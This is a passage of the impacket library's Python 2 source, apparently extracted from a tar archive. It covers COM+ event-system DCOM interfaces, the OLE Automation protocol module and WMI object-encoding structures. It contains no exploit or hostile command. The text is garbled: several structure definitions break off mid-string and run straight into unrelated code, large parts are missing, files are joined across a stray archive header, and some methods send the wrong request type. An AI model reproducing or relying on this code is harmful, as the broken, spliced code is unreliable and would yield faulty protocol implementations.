request['bstrInterfaceID'] = bstrInterfaceID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IEventSubscription2(IEventSubscription):
def __init__(self, interface):
IEventSubscription.__init__(self,interface)
self._iid = IID_IEventSubscription2
def get_FilterCriteria(self):
request = IEventSubscription2_get_FilterCriteria()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_FilterCriteria(self, bstrFilterCriteria):
request = IEventSubscription2_put_FilterCriteria()
request['bstrFilterCriteria'] = bstrFilterCriteria
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_SubscriberMoniker (self):
request = IEventSubscription2_get_SubscriberMoniker ()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_SubscriberMoniker(self, bstrMoniker):
request = IEventSubscription2_put_SubscriberMoniker()
request['bstrMoniker'] = bstrMoniker
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IEventSubscription3(IEventSubscription2):
def __init__(self, interface):
IEventSubscription2.__init__(self,interface)
self._iid = IID_IEventSubscription3
def get_EventClassPartitionID(self):
request = IEventSubscription3_get_EventClassPartitionID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassPartitionID(self, bstrEventClassPartitionID):
request = IEventSubscription3_put_EventClassPartitionID()
request['bstrEventClassPartitionID'] = bstrEventClassPartitionID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_EventClassApplicationID(self):
request = IEventSubscription3_get_EventClassApplicationID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassApplicationID(self, bstrEventClassApplicationID):
request = IEventSubscription3_put_EventClassApplicationID()
request['bstrEventClassApplicationID'] = bstrEventClassApplicationID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_SubscriberPartitionID(self):
request = IEventSubscription3_get_SubscriberPartitionID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_SubscriberPartitionID(self, bstrSubscriberPartitionID):
request = IEventSubscription3_put_SubscriberPartitionID()
request['bstrSubscriberPartitionID'] = bstrSubscriberPartitionID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_SubscriberApplicationID(self):
request = IEventSubscription3_get_SubscriberApplicationID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_SubscriberApplicationID(self, bstrSubscriberApplicationID):
request = IEventSubscription3_put_SubscriberApplicationID()
request['bstrSubscriberApplicationID'] = bstrSubscriberApplicationID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IEnumEventObject(IDispatch):
def __init__(self, interface):
IDispatch.__init__(self,interface)
self._iid = IID_IEnumEventObject
def Clone(self):
request = IEnumEventObject_Clone()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
def Next(self, cReqElem):
request = IEnumEventObject_Next()
request['cReqElem'] = cReqElem
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
interfaces = list()
for interface in resp['ppInterface']:
interfaces.append(IEventClass2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))
return interfaces
def Reset(self):
request = IEnumEventObject_Reset()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def Skip(self, cSkipElem):
request = IEnumEventObject_Skip()
request['cSkipElem'] = cSkipElem
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
class IEventObjectCollection(IDispatch):
def __init__(self, interface):
IDispatch.__init__(self,interface)
self._iid = IID_IEventObjectCollection
def get__NewEnum(self):
request = IEventObjectCollection_get__NewEnum()
resp = self.request(request, iid = self._iid , uuid = self.get_iPid())
return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self._get_target()))
def get_Item(self, objectID):
request = IEventObjectCollection_get_Item()
request['objectID']['asData'] = objectID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def get_NewEnum(self):
request = IEventObjectCollection_get_NewEnum()
resp = self.request(request, iid = self._iid , uuid = self.get_iPid())
return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
def get_Count(self):
request = IEventObjectCollection_get_Count()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def Add(self, item, objectID):
request = IEventObjectCollection_Add()
request['item'] = item
request['objectID']['asData'] = objectID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def Remove(self, objectID):
request = IEventObjectCollection_Remove()
request['objectID']['asData'] = objectID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
class IEventSystem(IDispatch):
def __init__(self, interface):
IDispatch.__init__(self,interface)
self._iid = IID_IEventSystem
def Query(self, progID, queryCriteria):
request = IEventSystem_Query()
request['progID']['asData']=progID
request['queryCriteria']['asData']=queryCriteria
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,)))
def Store(self, progID, pInterface):
request = IEventSystem_Store()
request['progID']['asData']=progID
request['pInterface'] = pInterface
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def Remove(self, progID, queryCriteria):
request = IEventSystem_Remove()
request['progID']['asData']=progID
request['queryCriteria'] = queryCriteria
resp = self.request(request, uuid = self.get_iPid())
return resp
def get_EventObjectChangeEventClassID(self):
request = IEventSystem_get_EventObjectChangeEventClassID()
resp = self.request(request, uuid = self.get_iPid())
return resp
def QueryS(self,progID, queryCriteria):
request = IEventSystem_QueryS()
request['progID']['asData']=progID
request['queryCriteria']['asData']=queryCriteria
resp = self.request(request, uuid = self.get_iPid())
iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,)))
def RemoveS(self,progID, queryCriteria):
request = IEventSystem_RemoveS()
request['progID']['asData']=progID
request['queryCriteria']['asData']=queryCriteria
resp = self.request(request, uuid = self.get_iPid())
return resp
class IEventSystem2(IEventSystem):
def __init__(self, interface):
IEventSystem.__init__(self,interface)
self._iid = IID_IEventSystem2
def GetVersion(self):
request = IEventSystem2_GetVersion()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def VerifyTransientSubscribers(self):
request = IEventSystem2_GetVersion()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
class IEventSystemInitialize(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IEventSystemInitialize
def SetCOMCatalogBehaviour(self, bRetainSubKeys):
request = IEventSystem2_GetVersion()
request['bRetainSubKeys'] = bRetainSubKeys
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
impacket-0.9.15/impacket/dcerpc/v5/dcom/oaut.py 0000600 0000765 0000000 00000072436 12734531507 021320 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-OAUT]: OLE Automation Protocol Implementation
# This was used as a way to test the DCOM runtime. Further
# testing is needed to verify it is working as expected
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Since DCOM is like an OO RPC, instead of helper functions you will see the
# classes described in the standards developed.
# There are test cases for them too.
#
import random
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRENUM, NDRUSHORT, NDRUNION, \
NDRUniConformantVaryingArray
from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE, \
MInterfacePointer, MInterfacePointer_ARRAY, BYTE_ARRAY
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID, USHORT, LONG, WSTR, BYTE, LONGLONG, FLOAT, \
DOUBLE, HRESULT, PSHORT, PLONG, PLONGLONG, PFLOAT, PDOUBLE, PHRESULT, CHAR, ULONGLONG, INT, UINT, PCHAR, PUSHORT, \
PULONG, PULONGLONG, PINT, PUINT, NULL
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import hresult_errors
from impacket.uuid import string_to_bin
from struct import pack, unpack
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'OAUT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'OAUT SessionError: unknown error code: 0x%x' % (self.error_code)
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046')
IID_ITypeInfo = string_to_bin('00020401-0000-0000-C000-000000000046')
IID_ITypeComp = string_to_bin('00020403-0000-0000-C000-000000000046')
IID_NULL = string_to_bin('00000000-0000-0000-0000-000000000000')
error_status_t = ULONG
LCID = DWORD
WORD = NDRUSHORT
# 2.2.2 IID
IID = GUID
# 2.2.3 LPOLESTR
LPOLESTR = LPWSTR
OLESTR = WSTR
# 2.2.4 REFIID
REFIID = IID
# 2.2.25 DATE
DATE = DOUBLE
class PDATE(NDRPOINTER):
referent = (
('Data', DATE),
)
# 2.2.27 VARIANT_BOOL
VARIANT_BOOL = USHORT
class PVARIANT_BOOL(NDRPOINTER):
referent = (
('Data', VARIANT_BOOL),
)
# 3.1.4.4 IDispatch::Invoke (Opnum 6)
# dwFlags
DISPATCH_METHOD = 0x00000001
DISPATCH_PROPERTYGET = 0x00000002
DISPATCH_PROPERTYPUT = 0x00000004
DISPATCH_PROPERTYPUTREF = 0x00000008
DISPATCH_zeroVarResult = 0x00020000
DISPATCH_zeroExcepInfo = 0x00040000
DISPATCH_zeroArgErr = 0x00080000
################################################################################
# STRUCTURES
################################################################################
# 2.2.26 DECIMAL
class DECIMAL(NDRSTRUCT):
structure = (
('wReserved',WORD),
('scale',BYTE),
('sign',BYTE),
('Hi32',ULONG),
('Lo64',ULONGLONG),
)
class PDECIMAL(NDRPOINTER):
referent = (
('Data', DECIMAL),
)
# 2.2.7 VARIANT Type Constants
class VARENUM(NDRENUM):
class enumItems(Enum):
VT_EMPTY = 0
VT_NULL = 1
VT_I2 = 2
VT_I4 = 3
VT_R4 = 4
VT_R8 = 5
VT_CY = 6
VT_DATE = 7
VT_BSTR = 8
VT_DISPATCH = 9
VT_ERROR = 0xa
VT_BOOL = 0xb
VT_VARIANT = 0xc
VT_UNKNOWN = 0xd
VT_DECIMAL = 0xe
VT_I1 = 0x10
VT_UI1 = 0x11
VT_UI2 = 0x12
VT_UI4 = 0x13
VT_I8 = 0x14
VT_UI8 = 0x15
VT_INT = 0x16
VT_UINT = 0x17
VT_VOID = 0x18
VT_HRESULT = 0x19
VT_PTR = 0x1a
VT_SAFEARRAY = 0x1b
VT_CARRAY = 0x1c
VT_USERDEFINED = 0x1d
VT_LPSTR = 0x1e
VT_LPWSTR = 0x1f
VT_RECORD = 0x24
VT_INT_PTR = 0x25
VT_UINT_PTR = 0x26
VT_ARRAY = 0x2000
VT_BYREF = 0x4000
VT_UINT_PTR = 7
VT_RECORD_OR_VT_BYREF = VT_RECORD | VT_BYREF
VT_UI1_OR_VT_BYREF = VT_UI1 | VT_BYREF
VT_I2_OR_VT_BYREF = VT_I2 | VT_BYREF
VT_I4_OR_VT_BYREF = VT_I4 | VT_BYREF
VT_I8_OR_VT_BYREF = VT_I8 | VT_BYREF
VT_R4_OR_VT_BYREF = VT_R4 | VT_BYREF
VT_R8_OR_VT_BYREF = VT_R8 | VT_BYREF
VT_BOOL_OR_VT_BYREF = VT_BOOL | VT_BYREF
VT_ERROR_OR_VT_BYREF = VT_ERROR | VT_BYREF
VT_CY_OR_VT_BYREF = VT_CY | VT_BYREF
VT_DATE_OR_VT_BYREF = VT_DATE | VT_BYREF
VT_BSTR_OR_VT_BYREF = VT_BSTR | VT_BYREF
VT_UNKNOWN_OR_VT_BYREF = VT_UNKNOWN | VT_BYREF
VT_DISPATCH_OR_VT_BYREF = VT_DISPATCH | VT_BYREF
VT_ARRAY_OR_VT_BYREF = VT_ARRAY | VT_BYREF
VT_VARIANT_OR_VT_BYREF = VT_VARIANT| VT_BYREF
VT_I1_OR_VT_BYREF = VT_I1 | VT_BYREF
VT_UI2_OR_VT_BYREF = VT_UI2 | VT_BYREF
VT_UI4_OR_VT_BYREF = VT_UI4 | VT_BYREF
VT_UI8_OR_VT_BYREF = VT_UI8 | VT_BYREF
VT_INT_OR_VT_BYREF = VT_INT | VT_BYREF
VT_UINT_OR_VT_BYREF = VT_UINT | VT_BYREF
VT_DECIMAL_OR_VT_BYREF = VT_DECIMAL | VT_BYREF
# 2.2.8 SAFEARRAY Feature Constants
class SF_TYPE(NDRENUM):
# [v1_enum] type
structure = (
('Data', ' 1:
if self['Encoded_String_Flag'] == 0:
self.structure += self.tascii
# Let's search for the end of the string
index = data[1:].find('\x00')
data = data[:index+1+1]
else:
self.structure = self.tunicode
index = data[1:].find('\x00\x00')
data = data[:index+1+2]
self.fromString(data)
else:
self.structure = self.tascii
self.data = None
# 2.2.8 DecServerName
DEC_SERVER_NAME = ENCODED_STRING
# 2.2.9 DecNamespaceName
DEC_NAMESPACE_NAME = ENCODED_STRING
# 2.2.7 Decoration
class DECORATION(Structure):
structure = (
('DecServerName', ':', DEC_SERVER_NAME),
('DecNamespaceName', ':', DEC_NAMESPACE_NAME),
)
# 2.2.69 HeapRef
HEAPREF = ' 0:
itemn = QUALIFIER(data)
if itemn['QualifierName'] == 0xffffffff:
qName = ''
elif itemn['QualifierName'] & 0x80000000:
qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff]
else:
qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character']
value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap)
qualifiers[qName] = value
data = data[len(itemn):]
return qualifiers
# 2.2.20 ClassQualifierSet
CLASS_QUALIFIER_SET = QUALIFIER_SET
# 2.2.22 PropertyCount
PROPERTY_COUNT = ' 0:
record = QUALIFIER(qualifiersBuf)
if record['QualifierName'] & 0x80000000:
qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff]
else:
qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character']
qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap)
qualifiersBuf = qualifiersBuf[len(record):]
qualifiers[qualifierName] = qualifierValue
propItemDict['qualifiers'] = qualifiers
properties[propName] = propItemDict
propTable = propTable[self.PropertyLookupSize:]
return OrderedDict(sorted(properties.items(), key=lambda x:x[1]['order']))
#return properties
# 2.2.66 Heap
HEAP_LENGTH = ' 0:
value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap)
properties[key]['value'] = "%s" % value
valueTable = valueTable[dataSize:]
return properties
# 2.2.39 MethodCount
METHOD_COUNT = ' 0:
methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties()
methodDict['InParamsRaw'] = inputSignature['ObjectBlock']
#print methodDict['InParams']
else:
methodDict['InParams'] = None
if itemn['OutputSignature'] != 0xffffffff:
outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:])
if outputSignature['EncodingLength'] > 0:
methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties()
methodDict['OutParamsRaw'] = outputSignature['ObjectBlock']
else:
methodDict['OutParams'] = None
data = data[len(itemn):]
methods[methodDict['name']] = methodDict
return methods
# 2.2.14 ClassAndMethodsPart
class CLASS_AND_METHODS_PART(Structure):
structure = (
('ClassPart', ':', CLASS_PART),
('MethodsPart', ':', METHODS_PART),
)
def getClassName(self):
pClassName = self['ClassPart']['ClassHeader']['ClassNameRef']
cHeap = self['ClassPart']['ClassHeap']['HeapItem']
if pClassName == 0xffffffff:
return 'None'
else:
className = ENCODED_STRING(cHeap[pClassName:])['Character']
derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding']
while len(derivationList) > 0:
superClass = ENCODED_STRING(derivationList)['Character']
className += ' : %s ' % superClass
derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:]
return className
def getQualifiers(self):
return self["ClassPart"].getQualifiers()
def getProperties(self):
#print format_structure(self["ClassPart"].getProperties())
return self["ClassPart"].getProperties()
def getMethods(self):
return self["MethodsPart"].getMethods()
# 2.2.13 CurrentClass
CURRENT_CLASS = CLASS_AND_METHODS_PART
# 2.2.54 InstanceFlags
INSTANCE_FLAGS = 'B=0'
# 2.2.55 InstanceClassName
INSTANCE_CLASS_NAME = HEAP_STRING_REF
# 2.2.27 NullAndDefaultFlag
NULL_AND_DEFAULT_FLAG = 'B=0'
# 2.2.26 NdTable
NDTABLE = NULL_AND_DEFAULT_FLAG
# 2.2.56 InstanceData
#InstanceData = ValueTable
class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART):
structure = (
('ClassPart', ':', CLASS_PART),
)
def getMethods(self):
return ()
# 2.2.65 InstancePropQualifierSet
INST_PROP_QUAL_SET_FLAG = 'B=0'
class INSTANCE_PROP_QUALIFIER_SET(Structure):
commonHdr = (
('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG),
)
tail = (
# ToDo: this is wrong.. this should be an array of QualifierSet, see documentation
#('QualifierSet', ':', QualifierSet),
('QualifierSet', ':', QUALIFIER_SET),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self, data, alignment)
self.structure = ()
if data is not None:
# Let's first check the commonHdr
self.fromString(data)
if self['InstPropQualSetFlag'] == 2:
# We don't support this yet!
raise
self.fromString(data)
else:
self.data = None
# 2.2.57 InstanceQualifierSet
class INSTANCE_QUALIFIER_SET(Structure):
structure = (
('QualifierSet', ':', QUALIFIER_SET),
('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET),
)
# 2.2.58 InstanceHeap
INSTANCE_HEAP = HEAP
# 2.2.53 InstanceType
class INSTANCE_TYPE(Structure):
commonHdr = (
('CurrentClass', ':', CURRENT_CLASS_NO_METHODS),
('EncodingLength', ENCODING_LENGTH),
('InstanceFlags', INSTANCE_FLAGS),
('InstanceClassName', INSTANCE_CLASS_NAME),
('_NdTable_ValueTable', '_-NdTable_ValueTable',
'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'),
('NdTable_ValueTable',':'),
('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET),
('InstanceHeap', ':', INSTANCE_HEAP),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self, data, alignment)
self.structure = ()
if data is not None:
# Let's first check the commonHdr
self.fromString(data)
#hexdump(data[len(self.getData()):])
self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) /4 + 1
#self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData())
self.fromString(data)
else:
self.data = None
def getValues(self, properties):
heap = self["InstanceHeap"]["HeapItem"]
valueTableOff = (len(properties) - 1) / 4 + 1
valueTable = self['NdTable_ValueTable'][valueTableOff:]
sorted_props = sorted(properties.keys(), key=lambda k: properties[k]['order'])
for key in sorted_props:
pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited))
if properties[key]['type'] & CIM_ARRAY_FLAG:
unpackStr = HEAPREF[:-2]
else:
unpackStr = CIM_TYPES_REF[pType][:-2]
dataSize = calcsize(unpackStr)
try:
itemValue = unpack(unpackStr, valueTable[:dataSize])[0]
except:
LOG.error("getValues: Error Unpacking!")
itemValue = 0xffffffff
# if itemValue == 0, default value remains
if itemValue != 0:
value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap)
else:
value = 0
properties[key]['value'] = value
valueTable = valueTable[dataSize:]
return properties
# 2.2.12 ParentClass
PARENT_CLASS = CLASS_AND_METHODS_PART
# 2.2.13 CurrentClass
CURRENT_CLASS = CLASS_AND_METHODS_PART
class CLASS_TYPE(Structure):
structure = (
('ParentClass', ':', PARENT_CLASS),
('CurrentClass', ':', CURRENT_CLASS),
)
# 2.2.5 ObjectBlock
class OBJECT_BLOCK(Structure):
commonHdr = (
('ObjectFlags', OBJECT_FLAGS),
)
decoration = (
('Decoration', ':', DECORATION),
)
instanceType = (
('InstanceType', ':', INSTANCE_TYPE),
)
classType = (
('ClassType', ':', CLASS_TYPE),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self, data, alignment)
self.ctParent = None
self.ctCurrent = None
if data is not None:
self.structure = ()
if ord(data[0]) & 0x4:
# WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block.
self.structure += self.decoration
if ord(data[0]) & 0x01:
# The object is a CIM class.
self.structure += self.classType
else:
self.structure += self.instanceType
self.fromString(data)
else:
self.data = None
def isInstance(self):
if self['ObjectFlags'] & 0x01:
return False
return True
def printClass(self, pClass, cInstance = None):
qualifiers = pClass.getQualifiers()
for qualifier in qualifiers:
print "[%s]" % qualifier
className = pClass.getClassName()
print "class %s \n{" % className
properties = pClass.getProperties()
if cInstance is not None:
properties = cInstance.getValues(properties)
for pName in properties:
#if property['inherited'] == 0:
qualifiers = properties[pName]['qualifiers']
for qName in qualifiers:
if qName != 'CIMTYPE':
print '\t[%s(%s)]' % (qName, qualifiers[qName])
print "\t%s %s" % (properties[pName]['stype'], properties[pName]['name']),
if properties[pName]['value'] is not None:
print '= %s\n' % properties[pName]['value']
else:
print '\n'
print
methods = pClass.getMethods()
for methodName in methods:
for qualifier in methods[methodName]['qualifiers']:
print '\t[%s]' % qualifier
if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None:
print '\t%s %s();\n' % ('void', methodName)
if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1:
print '\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName)
else:
returnValue = ''
if methods[methodName]['OutParams'] is not None:
# Search the Return Value
#returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next()
if methods[methodName]['OutParams'].has_key('ReturnValue'):
returnValue = methods[methodName]['OutParams']['ReturnValue']['stype']
print '\t%s %s(\n' % (returnValue, methodName),
if methods[methodName]['InParams'] is not None:
for pName in methods[methodName]['InParams']:
print '\t\t[in] %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName)
if methods[methodName]['OutParams'] is not None:
for pName in methods[methodName]['OutParams']:
if pName != 'ReturnValue':
print '\t\t[out] %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName)
print '\t);\n'
print "}"
def parseClass(self, pClass, cInstance = None):
classDict = OrderedDict()
classDict['name'] = pClass.getClassName()
classDict['qualifiers'] = pClass.getQualifiers()
classDict['properties'] = pClass.getProperties()
classDict['methods'] = pClass.getMethods()
if cInstance is not None:
classDict['values'] = cInstance.getValues(classDict['properties'])
else:
classDict['values'] = None
return classDict
def parseObject(self):
if (self['ObjectFlags'] & 0x01) == 0:
# instance
ctCurrent = self['InstanceType']['CurrentClass']
currentName = ctCurrent.getClassName()
if currentName is not None:
self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType'])
return
else:
ctParent = self['ClassType']['ParentClass']
ctCurrent = self['ClassType']['CurrentClass']
parentName = ctParent.getClassName()
if parentName is not None:
self.ctParent = self.parseClass(ctParent)
currentName = ctCurrent.getClassName()
if currentName is not None:
self.ctCurrent = self.parseClass(ctCurrent)
def printInformation(self):
# First off, do we have a class?
if (self['ObjectFlags'] & 0x01) == 0:
# instance
ctCurrent = self['InstanceType']['CurrentClass']
currentName = ctCurrent.getClassName()
if currentName is not None:
self.printClass(ctCurrent, self['InstanceType'])
return
else:
ctParent = self['ClassType']['ParentClass']
ctCurrent = self['ClassType']['CurrentClass']
parentName = ctParent.getClassName()
if parentName is not None:
self.printClass(ctParent)
currentName = ctCurrent.getClassName()
if currentName is not None:
self.printClass(ctCurrent)
# 2.2.70 MethodSignatureBlock
class METHOD_SIGNATURE_BLOCK(Structure):
commonHdr = (
('EncodingLength', ENCODING_LENGTH),
)
tail = (
('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'),
('ObjectBlock', ':', OBJECT_BLOCK),
)
def __init__(self, data = None, alignment = 0):
Structure.__init__(self, data, alignment)
if data is not None:
self.fromString(data)
if self['EncodingLength'] > 0:
self.structure = ()
self.structure += self.tail
self.fromString(data)
else:
self.data = None
# 2.2.1 EncodingUnit
class ENCODING_UNIT(Structure):
structure = (
('Signature', SIGNATURE),
('ObjectEncodingLength', OBJECT_ENCODING_LENGTH),
('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'),
('ObjectBlock', ':', OBJECT_BLOCK),
)
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
CLSID_WbemLevel1Login = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820')
CLSID_WbemBackupRestore = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304')
CLSID_WbemClassObject = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24')
IID_IWbemLevel1Login = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0'))
IID_IWbemLoginClientID = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0'))
IID_IWbemLoginHelper = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0'))
IID_IWbemServices = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0'))
IID_IWbemBackupRestore = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0'))
IID_IWbemBackupRestoreEx = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0'))
IID_IWbemClassObject = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0'))
IID_IWbemContext = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0'))
IID_IEnumWbemClassObject = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0'))
IID_IWbemCallResult = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0'))
IID_IWbemFetchSmartEnum = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0'))
IID_IWbemWCOSmartEnum = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0'))
error_status_t = ULONG
# lFlags
WBEM_FLAG_RETURN_WBEM_COMPLETE = 0x00000000
WBEM_FLAG_UPDATE_ONLY = 0x00000001
WBEM_FLAG_CREATE_ONLY = 0x00000002
WBEM_FLAG_RETURN_IMMEDIATELY = 0x00000010
WBEM_FLAG_UPDATE_SAFE_MODE = 0x00000020
WBEM_FLAG_FORWARD_ONLY = 0x00000020
WBEM_FLAG_NO_ERROR_OBJECT = 0x00000040
WBEM_FLAG_UPDATE_FORCE_MODE = 0x00000040
WBEM_FLAG_SEND_STATUS = 0x00000080
WBEM_FLAG_ENSURE_LOCATABLE = 0x00000100
WBEM_FLAG_DIRECT_READ = 0x00000200
WBEM_MASK_RESERVED_FLAGS = 0x0001F000
WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x00020000
WBEM_FLAG_STRONG_VALIDATION = 0x00100000
WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001
WBEM_INFINITE = 0xffffffff
################################################################################
# STRUCTURES
################################################################################
class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray):
item = 'c'
class PUCHAR_ARRAY_CV(NDRPOINTER):
referent = (
('Data', UCHAR_ARRAY_CV),
)
class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray):
item = PMInterfacePointer
REFGUID = PGUID
class ULONG_ARRAY(NDRUniConformantArray):
item = ULONG
class PULONG_ARRAY(NDRPOINTER):
referent = (
('Data', ULONG_ARRAY),
)
# 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration
class WBEM_CHANGE_FLAG_TYPE(NDRENUM):
# [v1_enum] type
structure = (
('Data', '>= 8
# Now let's update the structure
objRef = self.get_objRef()
objRef = OBJREF_CUSTOM(objRef)
encodingUnit = ENCODING_UNIT(objRef['pObjectData'])
currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass']
encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = ''
encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable
encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000
